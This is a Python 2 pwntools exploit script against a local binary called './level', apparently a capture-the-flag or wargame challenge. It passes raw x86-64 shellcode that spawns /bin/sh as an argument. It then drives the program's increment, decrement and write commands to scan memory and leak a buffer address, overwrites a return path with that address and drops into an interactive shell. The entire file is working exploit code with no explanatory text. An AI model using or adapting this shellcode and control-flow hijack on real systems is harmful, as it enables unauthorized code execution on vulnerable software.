#!/usr/bin/env python2

from pwn import *

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

target = process(argv=(["./level", shellcode] + [chr(i) for i in range(253)]))
cur_val = 0
offset = 0

def fetch_num():
    global cur_val
    target.readuntil("value is ")
    cur_val = int(target.readline())

def inc():
    global offset
    offset += 1
    target.send("I\n")
    fetch_num()
def dec():
    global offset
    offset -= 1
    target.send("D\n")
    fetch_num()
def w1():
    target.send("W 1\n")
    fetch_num()
def Wval(val):
    target.sendline("W "+str(val))
    fetch_num()

prev_vals = [fetch_num()]

while(1):
    inc()
    prev_vals.append(cur_val)
    if(len(prev_vals) > 10):
        if(prev_vals[-8:] == [255, 0, 0, 0, 0, 0, 0, 0] ):
            print("Found it")
            w1()
            break 
    if cur_val == 0:
        w1()

for i in range(16):
    inc()
    prev_vals.append(cur_val)
    if cur_val == 0:
        w1()

addr = u64(''.join([chr(c) for c in prev_vals[-8:]]))
print "Located buffor at: ", hex(addr)
target.send("Q\n");
target.send(p64(addr));

target.interactive()
